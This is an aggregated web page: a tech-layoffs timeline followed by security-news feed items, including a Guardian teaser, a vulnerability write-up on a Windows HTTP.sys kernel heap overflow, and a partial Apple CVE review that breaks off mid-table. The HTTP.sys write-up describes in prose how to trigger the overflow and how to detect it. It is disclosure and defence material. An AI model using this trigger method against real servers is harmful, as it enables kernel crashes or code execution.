<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[‘I thought, I’ve tried everything else, why not give AI a shot?’: the long-lost family reunited by ChatGPT]]></title>
<description><![CDATA[Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh u...]]></description>
<link>https://tsecurity.de/de/3694760/ai-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694760/ai-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?</p><p>As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. <em>Your mum isn’t really your mum</em>, the rumours would say. <em>Your mum lives abroad.</em> Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.</p><p>When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”</p> <a href="https://www.theguardian.com/lifeandstyle/ng-interactive/2026/jul/25/long-lost-family-reunited-chatgpt-artificial-intelligence-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service co...]]></description>
<link>https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests. </p><p class="">A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.</p><p class=""><strong>The Vulnerability</strong></p><p class=""><em>HTTP.sys</em> is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.</p><p class="">When operating over HTTPS, <em>HTTP.sys</em> delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a <a href="https://www.rfc-editor.org/info/rfc8446/">per-record basis</a>: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to <em>HTTP.sys</em> as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The decrypted payload of each TLS record is delivered independently to the HTTP parser via</p><p class=""><em>UlHttpBufferReceiveEvent()</em>, regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches <em>HTTP.sys</em>.</p><p class="">The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The <em>capacity</em> field stores the current number of allocated slots in the buffer reference array. The <em>count</em> field stores the number of slots currently in use. The <em>ref_array_ptr</em> field points to the dynamically allocated array of 8-byte buffer reference entries.</p><p class="">An integer overflow vulnerability exists in <em>HTTP.sys</em>. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When <em>HTTP.sys</em> receives data for an HTTP/1.x request, it allocates a <em>UL_REQUEST_BUFFER</em> structure for each receive indication and tracks these buffers in the per-request reference array described above. The <em>count</em> field records the number of active buffer references, and the <em>capacity</em> field records the total number of allocated slots. </p><p class="">As the HTTP parser (<em>UlpParseNextRequest()</em>) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When <em>count</em> reaches <em>capacity</em>, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + <em>capacity</em> * 8, the contents of the existing array are copied via <em>memmove</em> using <em>count</em> * 8 as the copy length, and <em>capacity</em> is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.</p><p class="">After 13,107 growth events, <em>capacity</em> reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, <em>count</em> (which is now 65,536 or greater) exceeds the zero <em>capacity</em>, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the <em>memmove</em> copies <em>count</em> * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.</p><p class="">Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and <em>UlpMergeBuffers() </em>further combines buffers within <em>HTTP.sys</em>. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through <em>UlHttpBufferReceiveEvent()</em> into <em>UlpCopyIndicatedData()</em>. If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing <em>UlpAdjustBuffers()</em> to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.</p><p class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
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<title><![CDATA[The June 2026 Apple Security Update Review]]></title>
<description><![CDATA[We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog. For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS s...]]></description>
<link>https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog. </p><p class="">For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.</p><p class="">-    <strong>CVE-2026-43724 (Kernel)</strong> – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher. </p><p class="">-    <strong>CVE-2026-39868 (Kernel)</strong> – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.</p><p class="">-    <strong>CVE-2026-43725 / CVE-2026-43701 (WebKit)</strong> – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.</p><p class="">Here’s a look at all the bugs released by Apple this month:</p>





















  
  




  


  
    




<title>Apple Security Update – June 29, 2026</title>



  
    
      <span class="num">37</span><span class="lbl">Total CVEs</span>
      <span class="num">22</span><span class="lbl">Denial of Service</span>
      <span class="num">7</span><span class="lbl">Information Disclosure</span>
      <span class="num">3</span><span class="lbl">Memory Corruption</span>
      <span class="num">2</span><span class="lbl">Elevation of Privilege</span>
      <span class="num">2</span><span class="lbl">Sandbox Escape</span>
      <span class="num">1</span><span class="lbl">Spoofing</span>
    

    <table>
      <caption>Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.</caption>
      <thead>
        <tr>
          <th>CVE ID</th>
          <th>Component</th>
          <th>Impact</th>
          <th class="center">iOS 26.5.2 / iPadOS 26.5.2</th>
          <th class="center">macOS Tahoe 26.5.2</th>
          <th class="center">Safari 26.5.2</th>
        </tr>
      </thead>
      <tbody>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43743" target="_blank" rel="noopener">CVE-2026-43743</a></td>
        <td>IOGPUFamily</td>
        <td class="impact">An app may be able to cause unexpected system termination</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39868" target="_blank" rel="noopener">CVE-2026-39868</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to cause unexpected system termination or corrupt kernel memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43722" target="_blank" rel="noopener">CVE-2026-43722</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to leak sensitive kernel state</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43724" target="_blank" rel="noopener">CVE-2026-43724</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to cause unexpected system termination or write kernel memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43703" target="_blank" rel="noopener">CVE-2026-43703</a></td>
        <td>libxslt</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43706" target="_blank" rel="noopener">CVE-2026-43706</a></td>
        <td>libxslt</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43704" target="_blank" rel="noopener">CVE-2026-43704</a></td>
        <td>Web Extensions</td>
        <td class="impact">A malicious web extension may be able to cause an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39872" target="_blank" rel="noopener">CVE-2026-39872</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43663" target="_blank" rel="noopener">CVE-2026-43663</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43676" target="_blank" rel="noopener">CVE-2026-43676</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43699" target="_blank" rel="noopener">CVE-2026-43699</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43700" target="_blank" rel="noopener">CVE-2026-43700</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may disclose sensitive user information</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43701" target="_blank" rel="noopener">CVE-2026-43701</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may be able to process restricted web content outside the sandbox</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43705" target="_blank" rel="noopener">CVE-2026-43705</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43707" target="_blank" rel="noopener">CVE-2026-43707</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43708" target="_blank" rel="noopener">CVE-2026-43708</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may exfiltrate data cross-origin</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43709" target="_blank" rel="noopener">CVE-2026-43709</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43712" target="_blank" rel="noopener">CVE-2026-43712</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43713" target="_blank" rel="noopener">CVE-2026-43713</a></td>
        <td>WebKit</td>
        <td class="impact">Visiting a website may leak sensitive data</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43715" target="_blank" rel="noopener">CVE-2026-43715</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43716" target="_blank" rel="noopener">CVE-2026-43716</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
